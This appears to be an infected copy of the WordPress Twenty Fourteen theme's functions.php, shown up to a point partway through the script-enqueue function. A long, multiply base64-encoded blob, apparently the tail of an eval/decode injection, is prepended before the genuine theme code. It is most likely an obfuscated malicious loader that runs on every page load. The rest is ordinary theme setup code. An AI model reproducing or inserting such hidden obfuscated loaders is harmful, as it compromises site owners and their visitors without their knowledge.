c1JYaFZhM0JWVFVSU2NGUkZUa3RUVmxwSFZXeEdXVTFXY0V0VlZrNUtZekJzUkZOcmJGZFNiRXBTVjBSR2IxcHNTbkpQVms1WFRVVmFWRlZyVmxkU1ZXeHdaREprU21FeWFGWldhMXBEV214a1IwOVZaRlZOVlhCWlZWWmFTMUpXU2xaVmJWcFRZWHBzVkZOWGJETmFNR3h5WVVaV1YxSnJTbTFXTUZrMVVqRlJlRk5zYUZKV2EzQkdWV3hXVTFwc1NuSlBWazVaVFVkNFVsTlhiRE5oVms1SFZXeFdWbEpxYkZwWFJFSnpWR3hLY2s5V1RsZE5SVnBVVld0YVRtRlZlRVJUYTJ4WFVteEtVbGRFUm05Vk1WRjRZVVp3V1UxRk5WRldSM014VW14RmVGVnJjRlZOUkZKd1ZFVk9TMVl4VGxaU1YyeE5VVEJHY0ZZd1dUVlNNVkY0VTJ4b1VsWnJjRVpWYkZaU1lWVjRSRkZYYkZoU2FteElWa1JHUzFkR1JsZFRhMVpUVmxaS2JWVnRjelZWTUd4d1lYcGtSR0pXY0RKWk1qRlhZVVpyZVZveU9VdFRSVW8xV1dwT2IwNVdaM2xoUjNoYVZqRktjMWt5TlU1YU1XeFpWRmRrUzFORlNqVlphazV2VGxabmVXRkhlRnBXTVVweldUSnNjbE15VmpOalNFSmhZVmRvZDFsNlRrOWlSMUpFV2pKMFdVMVZOVWRXVjNoaFVteFdjMk15ZEdwVFJYQXlXbFZvYzFwdFJraFdiV2hoVWpGYU5WZEdUbkphTUhCd1YxZGthbE5GY0hOWGFrVTFaRVpzV1ZWdGNHaFJNbVJ3VkVSRk1HSXhaRFpTV0ZKUVZtcEZORll6Y0Vaa1JUbFhUVmRLVGxGNlFURlhSbWd6WlVaa05sRllVbEJXYWtacFZGVk5kMDVXYUZsa00yeFlaV3RHTUZScldYaFphekZFVFVSV1dWZElaRFZVYkZwNlpEQjRWVlp0VWt4Vk1taHFWRWRzYjFsck1VUk5SRlpaVjBob2FWUldUWGRPVm1oWFl6TmtUVlpIZUd0YWExSkhXV3N4UkUxRVZsbFdiazR6VkVaU2MxcEhXa1ZUYlVwT1VYcEJkMWRHV25wa01IaFZZa2RTYlZKRmEzaFdNM0JDWkVVMVYwMUlRa3hYU0U0MldteE9VbVJyYkhCa01tUkxVbXBzVlZWc1drdFdNVXBYVTIxS1MxTkZTalZaYWs1dlRsWm5lV0ZIZUZwV01VcHpXVEozZDJORmRGbGtTR3hoVjBaSmVGa3lNREJhTUhCSFQxWlNVMVpyY0ZoVmJGcExXV3R3U1ZGdWJHbE5NbWN4VjBSS2IySkdiRmhWYlhocVlrUkJNMXBzUm5kaVIwcEpWRzE0U2xJeWVIUlRNR2hQVFVkT2RHSkljR3RUUld4MlUxZHNNMkZWZUVSUlYzUlpUVlUxUjFaWGVHRlNiRlp6WXpKMGFsTkZjREphVldoeldtMUdTRlp0YUdGU01WbzFWMFpPY2xvd2JGVk5SR3hLVWxad1ExWkZXazlTYTNSU1kwUmtTMU5GU2pWWmFrNXZUbFpuZVdGSGVGcFdNVXB6V1RKM05VMUdjRmhOV0dSS1VrUkNibHBGYUV0alIwcFVZVWRvYW1KcmNHOWFWbGsxWlcxR1NHSkhNV3RSTW1oeldsVm9RMk15U1hsVmJYaE1VVEJzZWxOWGJETmFNSEJIVDFaU1UxWnJjRmhWYkZwTFdXdHdTVkZ1YkdsTk1tY3hWMFJLYjJKR2JGaFZiWGhxWWtSQ2QxTXhUbkpPTUd4Q1kwaENZV0ZYWkhaVGEyaERaRzFOZUU5VVFtRldla1l6VTFWUmQxb3lUWHBWYm14b1YwVktNbGt6Ykc1aE1rNUpVMjVhYkZOSGVHMVpWV1JYWVVad1NGWnViRmxOTVVweldXeG9RbU13YkVSVFZGcEtZVmQwZDFOVlRrWlBWa0pVVVd0a1VsWllhRlZWYkU1eVdqQndTVkZ1YkdsTk1tY3hWMFJLYjJKR2JGaFZiWGhxWWtScmQxZHNZM2hrTUd4RlRVZGthazB4V25CWmVrNVRaVlYwUkZWdVpHcGlWR3N3V2xaWk5XSXhjRmhTYlhSaFYwVndiVnBGWkZka1IwNUVaREprVGxFelpHNVRhMmhEWkcxTmVFOVVRbUZXZWtZelV6RlNlbG93VG5SaVJ6Rk1VMFZLTlZkc1pHdGFiVXBZVW1wQ1drMXRaSFpUVjJzMVdsVjBSMk16YUUxV1IzaHJXbXRhZW1WRmVGVmlSMUpZWld0R01GUXhXWGhQUlRGWFl6TmtUVlpIZUd0V00zQkNaRVU1VjAxVWFFNWlTRTR6VkVaU1UxcEdaRFpSV0ZKUVZtcEZORlJYY0ZkWmF6RkVUVVJHV1ZVeWRIWlhSVTB3WWpGa05sRllVbEJXYWtVMFZqTndSbVJGT1ZkTlYwcE9VWHBCTVZkR2FETmxSbVEyVVZoU1VGWnFSbWxVVlUxM1RsWm9XV1F6YkZobGEwWXdWR3RaZUZsck1VUk5SRlpaVjBoa05WUnNXbnBrTUhoVlZtMVNURlV5ZHpOVVZFMTNZVEI0TlZOWVRrcFJNVW96V1RJd05VNUhWbGRQVnpsaFZqQmFjbGRzYUV0YWJWSklWbTVTYWxFeWRHNVRNV2hMWWtkU1NWWnViR2xoVlVaeVdUQm9TMlJ0VmtsaVIxcG9VakZhYjFkclpGZGxWbWQ2VlcxNGFWZEZSVE5STWpSM1V6SmFVbU5JYkdGWFJrbDRXVEl3TUZvd2NFZFBWbEpUVm10d1dGVnNXa3RaYTJ4elUydGFWVlpVYkZaVmJGazFVV3hLUmxWc1RrcGlSRUV6VVRJMGQxTXlXbEppTUhSb1ZqRnNibE13VGtkaVYxSllUbGR3YTFJeWVESlpiWGMxWWtkV1NHSkljR3RUUlRGMlUxZDRkMVJyTlZoaU0yeHFWa1ZLTmxsVlpHRmFiRzk1Vm1wQ1dVMHhXalZaYTA1S1kwVjBXV013ZEdGaWJGb3hWMVJPVTJOSFNYbE9SMlJZWVhwQmVGbFhjRXRsUlRGSlZHMDVZV0pFYkhWWGJHaFRXbTFTV1ZOdVRreFJNbmN6VTFWR2RtRXlVbGxUYms1S1VrUkNibE5YTVc5TlIxSkpVVlJhVFdWVWFIQlRWVTB3V2pCd1IwOVdVbE5XYTNCWVZXeGFTMWxyYkhKaFJsWlhVbXRLYlZVd1ZUVldSbHBFVTIxU1NsRjZVbTVUYTFrMVZrWktWMU5zWkZOV2EzQnBVMWQ0UzFKc1ZsZFdhMXBXVFZaS2JWWnNXa3RUYTJ4elRVUmtSR0pYZUhSVFZVNXZaVzFTU1ZOdVpHbE5NREYyVTJ0b1YyVlhTa1JrTW14UlpWVnNkMU5WVGtaUFZrSlVVVzB4V2xZemFEWlhiRTV6VGpCT2NGVnFSbXBpV0dSdVZVWk9RMlZ0VWxoVGJuQnJVMFZzZGxOcmFGZGxWMHBFWkROa1RWTkZOSGRaTWpWRFpHMU9OVm95ZEd0WFJYQjZWRVZPU2t3d2JIQmhNMEpRWkROQk5WRXlOVXRpUjFKSlZtNXNhV0ZWUm5KYVJtaExZekE1TTJORWJFUmlha0pNVVRKa2QyTkdjSEJSVnpsS1ZqRnZlRmx0TVU5TlIwWllUMWhXV1Uxc1dUQlpWbWhQVFVkT05Wb3liRmhoZWtGNFdWZHdTMlZGTVVsVWJUbGhZa1JzZFZkc2FGTmFiR3Q1VDFoV2ExSXhXakZhUldoT1lWVjBWR0pFWkVSaVZtOTRXVzB4VDAxSFJsaFBXRlpLVW01Q1QxUnNaSFpsVjA1VlVXNXdhRkl4Y0cxWGFrcFhUVVpuZVZSdVdtbGliRXB6V1cwMVUyVnJkRVJWYmtKcVVUTmtibE5yYUVOaFJtOTVWbGhDYkdRelFuZFhiV3h1WWpGd2RWWnVWbHBOTVVwM1dXcEpNVnBzY0ZsaFNFSnFUVEZLTmxNd1RrdGhiVkpaVTI1T1dVMXRlREZaVm1oU1lWVjBWR0V5WkV0aFZteHVVekJrWVUxWFNuUlVha0pvVm5wc01WZEVTbGRPUjBaWlZHcENhbVZYWkhCWFZFNVhaVmRLUjA5WGVHeFNNVnB4VTFkc2NtTkZkRmxqTUhSS1VUQkdibE5WVGxOaGJVWkVVVlJzU2xJd05IaFpNakUwV20xR1dFNVlRbXRSTW1Sd1dWVm9VMDFIVGtWaU0xcE5aVlZzYmxSSGJGTmpSMDVFVVZoV1NsRXdiREpUVjJ4Q1pGVndTVkZ0YUdGTmJGWjNWRE5rZGxvd2JFUlJWMlJhVFRGYU5WbHJXVFZsYkhCWlZXNWFhbE5HUm5aVGEyUlBZakI0UkZGclVsZFdhM0JPVmtSR1ExWldaM2hUYTFwWFVteGFWRlpIZUZOVk1VWldUbFpTVTJFeFdsUlVSVTVDWlVWMFZXTXdkRXBSTUVadVUxVmtUMDFYVG5SbFIxcHFUV3haZDFscVRrTk5SWFJFVlcxd2FGRXpaRzVWVkVaWFZURlNSazlXUmxkU2FteFdWVEZWZUZKc1VYaFdiRlpOVVRCR05sTXhVbnBUTUd4RVVWZGtTbEV4U1hoWmEyaFNXakZDVkZGcVFtcGlWM2d3VXpCa1QwMVhUblJsUjFwaFYwZG9jMWRZYkc1aE1XdDVXak5DVEZaSVRreFRWVTVDV2pCc1NWTnRlR3RUUmxvMVdXMXNRbUV5VWxobFJFSlFaREk1YmxOVlRrSmFNbHBTWWpCMGFGWXhiRzVUTUdSelpGZEdWMDlYTldGWFJrWjJVMWN4UjJNeVNraFBWRTVaVFRGYU5WbHJXVFZpVjBsNlVXMTRhV0ZWYkhkVE1VNURUakJPY0ZGWFpFcFJNRVp5V2taa05FMUZiRVZOUjJSclUwVndkMWxzVG05UlZuQjBZa2hPWVZacWJIVlhiR2hUV214cmVVOVlWbXRTTVZveFdrVm9UbUl3YkhSaFJFSnJVMFZGTWxSSWF6UmhWV3hFVGtkMGFGZEZSbTVVUjJ4Q1lWVjROVk5YWkUxaFZrb3pWMVprYTJKRmRGUmhlbVJFWVZWR2JsTlZUa05sVm5CWlZXcEdhbUpVVW01VGEyaFhZekpTUldNd2RFcFJNRVp1VTFWbmQxTXdiRVJSVjJSS1VURktkRmt3VGtKUFZXeElWMjV3YVUxck5YbFphazVEWWtkS2NGb3lkR2hYUlVaNlUxVlNibVF3ZUVSUlYzUmhWMFZ3TlZsdE1EUmpNR3hFVlcxNGFtSnJjRFphUldoS1l6QnNSVlJZWkV4V1NFNU1VMVZPUWxvd2JFaGlSekZLVVRKa2NsZHROVUpqUld4Sll6SjBhVTB4V1hkVFZWRjNXakJzY2xwRldsZFJNRVp5V1RCa1IySnNjRlJSYTJ4WFVteEtVbFJJY0Vaa1ZURkhaVWhzV1ZKNlVuQlVNMlIyV2pCc1JGRlhaRXRTZW10NFdrVk9RbVJXUWxSUlYyeFVVbnBzTmxwRlVuWmFNSEJJWWtoa1dWTkZjR3BaYld4S1RqQk9jRkZYWkVwUk1FWnlXV3BPVjAxRmJFUk9SR3hLVVRCd1JWbHFTVEZrVm5CWVZHcENhRlo2YkRGVU1teERVa2RLU0U5WWNHRldibWcxVjBWak1Wa3lUbk5sU0ZaS1lXNU9URk5WVGtKYU1HeElWMnBPYW1KWGQzZFhiRTV1WVRGd2RWRllUa3BSTVVveVdrWm9VbU5GT1ROaU1tUktVVEJHYmxOcmFFdGlSMUpFVVZSc1NsRXdiSEJVTTJSMldqQnNSRkZYWkd0TmJXaDNXV3RrVmxvd2RFUlNiVEZoVm5wc2RGTXdUbE5pVjA1RVlUTkNTbE5JVG5KWk1qRlhUVVZzUkZGWVZsRlZNRVp1VjIweGEySkhVa2xVVnpsTFVqRndNMVJGVGtKbFJURnhXak5DVUUxNlFreFhiVEZQWXpKSmVsUnRlRXhSTVVwMFdUQk9jazR3VG5CVmFrWnBVMFpHYmxWR1RrTk5SMDUwWWtoU1RGTkZOSGhYVnpWUFRVZE9jRm95ZEdwaVZsbDNWRVZPUTJWdFVrbFRibVJwVFRBeGRsTnJhRXRpUjFKRVpESmtTbUpJYURWWFJXTXhXVEpPYzJWSVZrcGhWM1J1VXpOc1FrMUZkRlJoZW1SdFZWaENOVmRzYUZOTlYwNTBUa2RrUzFOR1ducGFSVko2VXpKYVVtTkViRVJhTTBKM1YyMXNRbUl3YkZoWGFrWnBZbFUwZDFsV1l6VmtWbWQ1Vm1wU2FGZEZOSGRaTTJ4dVlWWmtjazFFUm1oaGEzQTBWRlZvVDJJeGNITlBXSEJhVm5wRmVGbFdXVFZpYkhCWlZXMWFhVkl5ZURGWlZFNU9ZVlYwVkdKRVpFUmlWbTk0V1cweFQwMUhSbGhQV0ZaS1VtNUNUMVJzWkhabFYwNVZVVzV3YUZJeGNHMVpla3BIWkVkU1dHSkhXbUZOYkZsM1YwUktOR05IU25Sa1NIQk1VVEozTTFFeVpIWmhNV3hZWlVoT1NsSkVRbTVYYWtwWFRVWm5lV1JJVm1sTk1sSnRXVlpvUW1Jd2RGVmpNSFJxVFcxbmVGZHRNV0ZqTVhCVVdqSjBXbFl6YUhwVE1WSjZVekJ3U1ZadWJHbFJNRVUxVTFWYWQxUnJOVmhpTTJ4cVZrVktObGxWWkdGYWJHOTVWbXBDV1UweFdqVlphMDV1WTBVNU0ySXlkR3BpVmxwdldXdFpOV05IVGtSUlZHeEtVbTVDVDFSc1pIWmxWMDVWVVc1d2FGSXhjRzFYYWtwWFRVWm5lbE50ZUZwV00yaHRXVlpvUW1Jd2RGVmpNSFJMVTBaYWIxTlZVWGRhTWsxNlZXNXNhMUo2YkhwWmFrNXJZa2RPY0ZveWRGbE5WVFZIVmxkNFlWSnNWbk5qTW14VVVteEtWbFpWV1RWV2JGVjNWbXhPV1UxRldrbFZiRlV4VmxWc2MwMUlRbEJrTWpseVYxWmtjMkV3YkVWTlIyUktZV3RXTTFSVlVrWmhWVGt6WWpKMFdrMXFiSEpUVlZGM1dqSktXRlZVUmt4Uk1VbDRXVEl4TTJSWFVraGlTRkpoVlRKa2QxTXhVbnBUTUhCSVZHMDVZVll3TlhsVFZWRjNXakpLV0ZWVVJreFJNVXB4V1dwS1VtTkZPVE5pTW5SclZqQldibFZHVGtOTlYwNTBaVWQ0YVdKVk5USlhhMlJXWWpKTmVsVnViR3RTZW14NldXcE9hMkpIVG5CYU1uUlpUVlUxUjFaWGVHRlNiRlp6WXpKc1ZGSnNTbFpXVlZrMVZteFZkMVpzVGxsTlJWcEpWV3hWTVZaVmJITk5TRUpNVmtoT1RGTnJhRXRpUm5Cd1VWUnNTbE5HV2pWWmEyUlhaRlpyZVU5WGRHRlZNbWcyV2tWb1MwMUhTWGxsU0ZwclRXeGFOVk13VGxOYWJGVjNWbXhPVjJFeFdsUldNMnhMVTFaYVIxVnNSbGxOVlhCSFZXMTBWMVV4U2xkVFYyeFpWVEowZDFRelpIWmhNazVJVW0wMVlWVXdSVFZUVlU1S1pHMUtXR1F6Vm1wU01tZ3pWVVJKZUdSdFVraGhSM2hxWVdwRmVscEVUbXBrVjFKWVYyNXNXbUZVVm5OWGEyaFdaRlpzZFZOWE1WcE5NR3MxVkZaT1lXRkhSbGhWVkd4S1lWUlNjbGRXWkhOaE1IaHdVMWN4YTFkRmNIcFZSazVLWkZWd1NWWnViR2xSZWxKd1UyMHhjMlF4UWxSVFdGWkxVMFZ3YzFkV1pEUmFiVVpaVVZoV1NtRldiM2hYVmxGM1lWVjRjRlZxUmxwVmVsSndVMjB4VDJSc2NFVk5SMnhOWVZaS2NWbHFTbEprVld4d1YyNXNZVll4YXpWVFYyc3dZVEpPZEZadE1WQmtNamxNVjIwd05XVldjRmhTYlhCb1VUQkdkbE5yWkVkak1rcEVVVzFvYW1WVlJuSlpWbWhDWTBkV00ySXlkR3RTTURGdVZVWk9RMWxXVWxWV2JrWk9ZbXRXTTFsNlNtOWlWbWQ1V2tkNGExSnFiSEZaYWtreFRVWndXRTVVUW1wbFYyZDNXVEl4YzJSRmRFUlZia0pxVVRKMGVsTnJhRU5oUm05NVZsaENVR1F5T1hKWk1HTTFaV3RzUlUxSFpHcE5NVW8xV1RCak5XVnJkRVJWYWtKYVpWaGtibE5yWkU5aU1YQllWRzVLVEZaSVRreFpWbVJhV2pCMFJGVnVaR2xOTURGdVUxWlJkMDlWYkVoWGJXaHBVMFUxYzFNeGFIcFRNSEJKVVc1c2FVMHlaekZYUkVvMFkwZE5lbFZYWkZGVk1FbzJXa1prUzJWdFVrbFRWemxMVTBaS2NWUkZVa0pqTUhCSlVXNWFhbVZYY3pOUk1tUjNaV3hzV1ZkdGVGbE5ibEl4V1dwT2ExcHRSbGxSVnpsaFYwZG9NMWxyWXpWaE1YQlVXakpzV1ZKNlVuQlVSVTVUWkRKT2RFOVVVbXhXYW14NldWWm9UMDFGZEZSaGVtUkVXakk1VEZOclpEUmpSMHAwWkVod1NsSkVRbTVaZWs1WFlWZE5lbFZ1YkV4Uk1VbDNWMWhzTTJFeVRraFBXSEJNWldzeE5WTXhVbnBUTWs1MFZtcENhMWRGY0RGVFZVNVRZekpHV0U1WVNtcGxiazVNV214R2QwOVZUblZOUlhSdFZWYzVURmxXWkZwYU1IUkVVbTB4YTFaNlZuRmFSV1J6WkcxS2MwOVhlR3hTTW5nMldrVm9UbUl3YkhOalJUVlBWakk1TlZreFVrTmxiVVpJVjIxYWFWWjZiSEpYUkVwUFpHMUtjRk5ZUWt4WFNFNU1WMjAxVjJSV2EzcFZia0pwVFdwU2JsWXljM2ROVjBaeFUyNW9UbE5GTlhaWGJYYzFaRWRKZVZWdFdscE5hbXd4VXpCT1UyRnRTWGxPU0VKc1pETkNkMWR0YkVKaU1rMTZWVzVzYWxKNmJEWlRNRTVUWVcxSmVVNUlUa3BoYm1od1dXcEtVMDVWYkhCaE1tUktWa1JCTlZOVlpHRmhSMHBKVkcxNFRGVXdTVE5STW14VFRVWndXV0ZFUWtwU1JFSnVXVEJvUzJKR2IzaFBXR3hoVjBWS2VsZFdaRTlpUlhSRVUxaGFVVkl3Y0RKWGEyaHlZakZvU1ZSdFNsbGhhbFpyVXpKc2Nrd3hRbkJQV0VKS1lWaGtibE5YY0RSaFYwbDVWV3BXV1ZKRlZYSlRWMnN4V1ZaU1ZWWnVSazVpYTFZeldYcEtiMkpXWjNwVWJXaHBWMFphZDFkRVNtdGlSMUpIVDFoT2FGWjZWbmxaTTJ4dVkwVjRSRkZYZEZwTmFtd3hWRVZTUm1ORk9UVlJWMlJFWW10d2MxcEZhRmRsVjBwd1VWZDBhMUl4V1RCYVJWSjZVekphVkZGdGVHbFRSVFZ6VTFWb01HVldjRmxWYWtacVlsUlNibE5yWkU5a2JVcHhaRVJzUkdKcVFreGFiRVoyVXpCT2RHSkhNVXBSTW1SdlYyMDFWMlJXYTNwVmJrSnBUV3BXYlZkc2FHOWpSMDE2Vlc1d1RGRXdjR2hXUmxKWFkxVXhkVkpZWkdwTmJXaDBWMFJLVDJGSFNraGxSMnhhVmpBMWVWTlhiSEpqUjFZelkwY3hhMVo2Vm5GYVJXUnpaRzFLY0ZGdFJsVldSbHA0VkZjMVJtUXlUWGxoUnpGWlRXczFiMWxyWkRSaFZteFlWRzVLVEZFeFNuQmFSbVJhWTBkV00yTklRbUZoVlVaMldWVmtWMkZHY0VoV2JteHFUVlJzTmxkc1l6Rk5SWFJFWVROQ2JHUXpRbmRYYld4Q1lqSkdXRTVYV2xwWFJYQTFWMVpvY21Jd2JISlVibHBwWW14S2MxbHROVkprUmtwWVRsZHdhVTFzU25kWmJURnFUbXRzU0ZwRVdtaFhSVVp3VkVWT1EySXhjRmhTYlhSaFYwVndObGRFU2pSalIwMTZWVmM1VEZVeWRIZGFXR1IyWVRKU1NFMVlaR0ZpVkZadldXeGtWbG94UWxSUmFrSmhWbnBHTTFsdE1VZGtSWFJKVlcxYVlWSXllRFZUTUU1eVl6QnNSRk5yWkZWTlJHaHdVekZTZW1FeVZuUlhWMlJSVlRCS2RGbHFUa05pUjBwd1dqSjBhMUo2UmpOWGJUQXhZVWRLV0ZaWVRrcFJNRzk2VTFkc2NrNHdiRWhYYm1SclYwWktObE13VGxOT2JIQndaREprUzFJd2IzaFhiV3h5VGpCc1NGZHRjR2xTZW13MlYyeE9ibUV5Vm5SWFdFSlFaVlZHY2xwWE1WSmFNVUpVVVcwMWJHSlViRE5YYkdNd1lqQndTVlZ1VW1wU01YQXhWMVpqZUdKRmVFUlJWMnhxWVZWc2QxUXpiRk5oYlVsNVRsUkNZVlo2VlhkWk0yeENUMVZzU0ZwRVdtcGlWbHB2VjJ0T2JtRXlWblJWV0U1S1VrVldNMVJWVWtKa01ERkZVVmhrVEZaSVRuSlhWRWsxWkZkU1NGWnVWbXRUUlRGdVZVWk9RMWxXVWxWV2JrWk9ZbXRXTTFsNlNtOWlWbWQ1VFZoYVlWSnFiSEZaYWtrd1lqQndTRlJ1V21saWJFcHpXVzAxVTJWcmRGVmtSelZzWWxVMWVsbHFUazlpUlhSRVZXcGFZVkV5Y3pOYVJtTXhZekpHV0U1WVNreFJNVWwzV1d4b1EySlhTblJTYmxKaFZUSnpNMU5yWkU5a2JVcDFWVzE0YVdKc1NqWlRWVkYzV2pGdmVtTkhlR2xpVlRVeVYydGtWbUl3Y0VoVWJscHBZbXhLYzFsdE5WTmxhM1JWWkVSc1NsSXhXbnBaZWtwV1dqSldOVlZ0Y0dsTmFsVjNWMnhqTVUxSFRqVlJWR3hLVW01Q1QxUnNaSFpsVjA1VlVXNXdhRkl4Y0cxWmJHTTFZVEZuZVZSdVdtbGhWMlJ5VjFjMVYySlZkRlZqTW1SdFYwUkNibGRzWkRSbGJIQlVVV3BrUzFJd05USlpiVFZUWWtkS2RWVnVjRXBTUkVKdVZqSnpkMDFYUm5GVGJtaE9VMFUxZGxkdGR6VmtSMGw1VlcxYVdrMXFiREZUTUU1VFlWZFNXRmRZUWxCTmVrWTFWMnhvVTAxWFRuUk9SemxMVWpBMU1sbHROVk5pUjBwMVZXNXdURlpJVGt4YWJFWjNUMVZPY0ZGVmRHbE5hM0J0V1hwT1UyRkhUblZWVnpsS1lraENUMVJzWkhabFYwNVZVVzV3YUZJeGNHMVhWRXBIWXpKS1NGTnRhRnBOYms1d1V6RlNlbE13VG5WTlJYUnRWVmhCTlZFeVl6bFFVMGx3UzFSelp5SXBLVHNnIikpOyA=');?><?php
/**
 * Twenty Fourteen functions and definitions
 *
 * Set up the theme and provides some helper functions, which are used in the
 * theme as custom template tags. Others are attached to action and filter
 * hooks in WordPress to change core functionality.
 *
 * When using a child theme you can override certain functions (those wrapped
 * in a function_exists() call) by defining them first in your child theme's
 * functions.php file. The child theme's functions.php file is included before
 * the parent theme's file, so the child theme functions would be used.
 *
 * @link http://codex.wordpress.org/Theme_Development
 * @link http://codex.wordpress.org/Child_Themes
 *
 * Functions that are not pluggable (not wrapped in function_exists()) are
 * instead attached to a filter or action hook.
 *
 * For more information on hooks, actions, and filters,
 * @link http://codex.wordpress.org/Plugin_API
 *
 * @package WordPress
 * @subpackage Twenty_Fourteen
 * @since Twenty Fourteen 1.0
 */

/**
 * Set up the content width value based on the theme's design.
 *
 * @see twentyfourteen_content_width()
 *
 * @since Twenty Fourteen 1.0
 */
if ( ! isset( $content_width ) ) {
	$content_width = 474;
}

/**
 * Twenty Fourteen only works in WordPress 3.6 or later.
 */
if ( version_compare( $GLOBALS['wp_version'], '3.6', '<' ) ) {
	require get_template_directory() . '/inc/back-compat.php';
}

if ( ! function_exists( 'twentyfourteen_setup' ) ) :
/**
 * Twenty Fourteen setup.
 *
 * Set up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support post thumbnails.
 *
 * @since Twenty Fourteen 1.0
 */
function twentyfourteen_setup() {

	/*
	 * Make Twenty Fourteen available for translation.
	 *
	 * Translations can be added to the /languages/ directory.
	 * If you're building a theme based on Twenty Fourteen, use a find and
	 * replace to change 'twentyfourteen' to the name of your theme in all
	 * template files.
	 */
	load_theme_textdomain( 'twentyfourteen', get_template_directory() . '/languages' );

	// This theme styles the visual editor to resemble the theme style.
	add_editor_style( array( 'css/editor-style.css', twentyfourteen_font_url() ) );

	// Add RSS feed links to <head> for posts and comments.
	add_theme_support( 'automatic-feed-links' );

	// Enable support for Post Thumbnails, and declare two sizes.
	add_theme_support( 'post-thumbnails' );
	set_post_thumbnail_size( 672, 372, true );
	add_image_size( 'twentyfourteen-full-width', 1038, 576, true );

	// This theme uses wp_nav_menu() in two locations.
	register_nav_menus( array(
		'primary'   => __( 'Top primary menu', 'twentyfourteen' ),
		'secondary' => __( 'Secondary menu in left sidebar', 'twentyfourteen' ),
	) );

	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form', 'comment-form', 'comment-list',
	) );

	/*
	 * Enable support for Post Formats.
	 * See http://codex.wordpress.org/Post_Formats
	 */
	add_theme_support( 'post-formats', array(
		'aside', 'image', 'video', 'audio', 'quote', 'link', 'gallery',
	) );

	// This theme allows users to set a custom background.
	add_theme_support( 'custom-background', apply_filters( 'twentyfourteen_custom_background_args', array(
		'default-color' => 'f5f5f5',
	) ) );

	// Add support for featured content.
	add_theme_support( 'featured-content', array(
		'featured_content_filter' => 'twentyfourteen_get_featured_posts',
		'max_posts' => 6,
	) );

	// This theme uses its own gallery styles.
	add_filter( 'use_default_gallery_style', '__return_false' );
}
endif; // twentyfourteen_setup
add_action( 'after_setup_theme', 'twentyfourteen_setup' );

/**
 * Adjust content_width value for image attachment template.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return void
 */
function twentyfourteen_content_width() {
	if ( is_attachment() && wp_attachment_is_image() ) {
		$GLOBALS['content_width'] = 810;
	}
}
add_action( 'template_redirect', 'twentyfourteen_content_width' );

/**
 * Getter function for Featured Content Plugin.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return array An array of WP_Post objects.
 */
function twentyfourteen_get_featured_posts() {
	/**
	 * Filter the featured posts to return in Twenty Fourteen.
	 *
	 * @since Twenty Fourteen 1.0
	 *
	 * @param array|bool $posts Array of featured posts, otherwise false.
	 */
	return apply_filters( 'twentyfourteen_get_featured_posts', array() );
}

/**
 * A helper conditional function that returns a boolean value.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return bool Whether there are featured posts.
 */
function twentyfourteen_has_featured_posts() {
	return ! is_paged() && (bool) twentyfourteen_get_featured_posts();
}

/**
 * Register three Twenty Fourteen widget areas.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return void
 */
function twentyfourteen_widgets_init() {
	require get_template_directory() . '/inc/widgets.php';
	register_widget( 'Twenty_Fourteen_Ephemera_Widget' );

	register_sidebar( array(
		'name'          => __( 'Primary Sidebar', 'twentyfourteen' ),
		'id'            => 'sidebar-1',
		'description'   => __( 'Main sidebar that appears on the left.', 'twentyfourteen' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h1 class="widget-title">',
		'after_title'   => '</h1>',
	) );
	register_sidebar( array(
		'name'          => __( 'Content Sidebar', 'twentyfourteen' ),
		'id'            => 'sidebar-2',
		'description'   => __( 'Additional sidebar that appears on the right.', 'twentyfourteen' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h1 class="widget-title">',
		'after_title'   => '</h1>',
	) );
	register_sidebar( array(
		'name'          => __( 'Footer Widget Area', 'twentyfourteen' ),
		'id'            => 'sidebar-3',
		'description'   => __( 'Appears in the footer section of the site.', 'twentyfourteen' ),
		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
		'after_widget'  => '</aside>',
		'before_title'  => '<h1 class="widget-title">',
		'after_title'   => '</h1>',
	) );
}
add_action( 'widgets_init', 'twentyfourteen_widgets_init' );

/**
 * Register Lato Google font for Twenty Fourteen.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return string
 */
function twentyfourteen_font_url() {
	$font_url = '';
	/*
	 * Translators: If there are characters in your language that are not supported
	 * by Lato, translate this to 'off'. Do not translate into your own language.
	 */
	if ( 'off' !== _x( 'on', 'Lato font: on or off', 'twentyfourteen' ) ) {
		$font_url = add_query_arg( 'family', urlencode( 'Lato:300,400,700,900,300italic,400italic,700italic' ), "//fonts.googleapis.com/css" );
	}

	return $font_url;
}

/**
 * Enqueue scripts and styles for the front end.
 *
 * @since Twenty Fourteen 1.0
 *
 * @return void
 */
function twentyfourteen_scripts() {
	// Add Lato font, used in the main stylesheet.
	wp_enqueue_style( 'twentyfourteen-lato', twentyfourteen_font_url(), array(), null );

	// Add Genericons font, used in the main stylesheet.
	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.0.2' );

	// Load our main stylesheet.
	wp_enqueue_style( 'twentyfourteen-style', get_stylesheet_uri(), array( 'genericons' ) );

	// Load the Internet Explorer specific stylesheet.
	wp_enqueue_style( 'twentyfourteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfourteen-style', 'genericons' ), '20131205' );
	wp_style_add_data( 'twentyfourteen-ie', 'conditional', 'lt IE 9' );

	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}

	if ( is_singular() && wp_attachment_is_image() ) {
		wp_enqueue_script( 'twentyfourteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20130402' );
	}

	if ( is_active_sidebar( 'sidebar-3' ) ) {
		wp_enqueue_script( 'jquery-masonry' );
	}

	if ( is_front_page() && 'slider' == get_theme_mod( 'featured_content_layout' ) ) {
		wp_enqueue_script( 'twentyfourteen-slider', get_template_directory_uri() . '/js/slider.js', array( 'jquery' ), '20131205', true );
		wp_localize_script( 'twentyfourteen-slider', 'featuredSliderDefaults', array(
